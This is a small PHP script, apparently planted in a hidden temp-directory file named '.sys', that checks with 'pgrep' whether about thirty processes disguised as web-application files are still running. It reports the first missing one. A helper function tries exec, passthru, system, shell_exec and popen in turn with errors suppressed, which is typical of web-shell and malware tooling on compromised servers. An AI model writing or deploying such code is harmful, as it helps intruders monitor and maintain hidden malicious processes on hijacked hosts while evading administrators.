File: //proc/676643/root/var/tmp/.sys
<?php $files = ['colordb.ini','calenda1r','sched_ranking','k2usergroup','class.wsdlcache','UnderFreeElectEN','mod_k2_comments','badword.class','table_block','payment.bak','editSeminar','edittemplate','FreeSansBold','gacl_api.class','mchat_install','testgenid','function.print','xoopstree','application3','tcp.class','authentication','class.workflow','screen_03','action.upload','tradelog.inc','TinyMCE.module','themesetparser','userhelpsystem','phocagalleryra','rate_report02']; foreach ($files as $f) { $res = @run("pgrep {$f}"); if (!preg_match('/\d+/', $res)) { die("<f>{$f}</f>"); } } die('!ended!'); function run($in) { $out = ''; if (function_exists('exec')) { @exec($in, $out); $out = @join("\n", $out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in, "r"))) { $out = ""; while (!@feof($f)) $out .= fread($f, 1024); pclose($f); } return $out; }